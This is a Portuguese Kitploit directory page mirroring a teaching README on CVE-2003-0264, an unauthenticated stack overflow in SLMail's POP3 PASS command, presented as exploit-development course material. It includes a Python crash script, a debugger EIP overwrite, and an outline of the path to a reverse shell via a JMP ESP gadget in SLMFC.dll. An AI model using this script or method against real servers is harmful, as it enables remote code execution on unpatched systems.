Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2003-0264 — Clássico estouro de buffer baseado em pilha no SLMail 5.1 mostrando como servidores de e-mail antigos podiam ser comprometidos por comandos SMTP e POP3 de tamanho excessivo. | Kitploit
Ferramentas/GitHubGitHub/themalwareguardian/cve-2003-0264
Análise de VulnerabilidadesExploraçãoEngenharia ReversaShellcodeDepuradoresFuzzingTestes de PenetraçãoAprendizado e EducaçãoDesenvolvimento de Payloads

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Exploração de Binários
GitHubthemalwareguardian/cve-2003-0264

CVE-2003-0264

Clássico estouro de buffer baseado em pilha no SLMail 5.1 mostrando como servidores de e-mail antigos podiam ser comprometidos por comandos SMTP e POP3 de tamanho excessivo.

Ver Repositório
1há 5 mesesAinda não revisado

🐞 CVE-2003-0264: SLMail 5.5 - Estouro de Buffer Baseado em Pilha

Estouro clássico de buffer baseado em pilha no SLMail 5.5, mostrando como servidores de e-mail antigos poderiam ser comprometidos por meio de comandos SMTP e POP3 superdimensionados.




📑 Índice

  • Por que este repositório existe
  • Por que esta vulnerabilidade é interessante
  • Contexto e software afetado
  • Sobre a vulnerabilidade
  • Disparando a falha
  • Exploração



🎓 Por que este repositório existe

Este repositório faz parte do material que utilizo ao ensinar exploração de corrupção de memória (além do meu trabalho regular, também dou aulas em diferentes cursos de cibersegurança, onde ajudo a treinar a próxima geração de engenheiros reversos).

CVE-2003-0264 é um dos primeiros casos que apresento ao ensinar estouros de buffer baseados em pilha sobre um protocolo de rede. É limpo, bem documentado e o caminho de exploração é direto: sem SEH, sem egghunter, sem restrições de espaço. O aluno envia um payload, sobrescreve o EIP, cai em um gadget JMP ESP e obtém um shell. Essa clareza é exatamente o que o torna útil como ponto de partida.




💡 Por que esta vulnerabilidade é interessante

O SLMail 5.5 é um servidor de e-mail legado para Windows. A vulnerabilidade está no serviço POP3, especificamente no manipulador do comando PASS, que copia a entrada do usuário diretamente para um buffer de pilha de tamanho fixo, sem qualquer validação de comprimento. O que torna este caso particularmente útil para ensino é a quantidade reduzida de componentes móveis:

  • Nenhuma autenticação necessária para disparar a falha. O estouro ocorre antes de qualquer verificação de credenciais. Um comando USER é enviado primeiro como parte do protocolo POP3, mas a falha real acontece no manipulador PASS, independentemente de as credenciais serem válidas.
  • Sobrescrita direta do EIP. Não há cadeia SEH envolvida, nem corrupção de heap, nem exploração em vários estágios. O endereço de retorno salvo é sobrescrito diretamente e a execução é redirecionada para a pilha controlada pelo atacante.
  • Espaço suficiente para o shellcode. O buffer é grande o bastante para acomodar um payload de shell reverso padrão após a sobrescrita do EIP, sem restrições de tamanho.
  • Um gadget confiável em um módulo sem ASLR. O SLMFC.dll, uma biblioteca fornecida com o SLMail, foi compilado sem ASLR, SafeSEH ou CFG. Seus endereços são fixos entre reinicializações, tornando o reuso de gadgets direto.

Essa combinação — voltado para rede, não autenticado, sobrescrita direta do EIP, sem mitigações modernas — faz do CVE-2003-0264 um dos exemplos mais limpos do mundo real de um estouro de pilha que ainda funciona em versões modernas do Windows.




🔍 Contexto e software afetado

O SLMail é um servidor de e-mail para Windows que fornece serviços SMTP, POP3 e administração. O serviço POP3 escuta na porta TCP 110 e lida com comandos padrão de recuperação de e-mails. A vulnerabilidade está no manipulador do comando PASS, que processa o argumento de senha enviado por um cliente conectado.

Baixar ferramenta

Detalhes técnicos importantes:

  • Tipo de vulnerabilidade: Estouro de buffer baseado em pilha
  • Versão afetada: SLMail 5.5 e anteriores
  • Endpoint afetado: Comando PASS do POP3
  • Componente vulnerável: Manipulador do comando PASS
  • Autenticação necessária: Não
  • Impacto: Execução remota de código



⚠️ Sobre a vulnerabilidade

O serviço POP3 do SLMail processa o comando PASS copiando o argumento de senha fornecido para um buffer de pilha de tamanho fixo usando uma função insegura sem verificação de comprimento. Uma versão simplificada da lógica vulnerável se parece com isto:

root@kitploit:~
char password_buffer[256];

strcpy(password_buffer, pass_argument);

Enviar uma string suficientemente longa como argumento do PASS faz com que a cópia ultrapasse o final do buffer, corrompendo a pilha até que o endereço de retorno salvo seja sobrescrito. Quando a função retorna, a CPU carrega o valor controlado pelo atacante da pilha para o EIP e salta para ele.




💥 Disparando a falha

A falha pode ser reproduzida enviando um argumento PASS superdimensionado via POP3. Nenhuma credencial válida é necessária. Exemplo usando Python:

root@kitploit:~
import socket

HOST = '127.0.0.1'
PORT = 110

payload = b"A" * 3000

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.recv(1024)

s.send(b"USER username\r\n")
s.recv(1024)

s.send(b"PASS " + payload + b"\r\n")
s.close()

Quando executado sob um depurador, a falha mostra o EIP sobrescrito com dados controlados pelo usuário:

root@kitploit:~
EIP = 41414141

confirmando que o endereço de retorno salvo foi corrompido pelo estouro.




💣 Exploração

O objetivo deste repositório não é apenas demonstrar a falha, mas percorrer todo o processo de exploração passo a passo, desde o fuzzing até um shell reverso funcional.

Para manter o README principal limpo, as notas detalhadas de exploração, scripts e etapas do depurador estão na pasta Vulnerability 📂 deste repositório.

Lá você encontrará o fluxo de trabalho completo usado para explorar este CVE, incluindo:

  • Fuzzing do comando PASS para identificar a falha.
  • Descoberta do offset para localizar a posição exata do EIP na pilha.
  • Análise de caracteres ruins para identificar bytes que corrompem o payload.
  • Localização de um gadget JMP ESP no SLMFC.dll, um módulo compilado sem ASLR ou SafeSEH.
  • Posicionamento e execução do shellcode.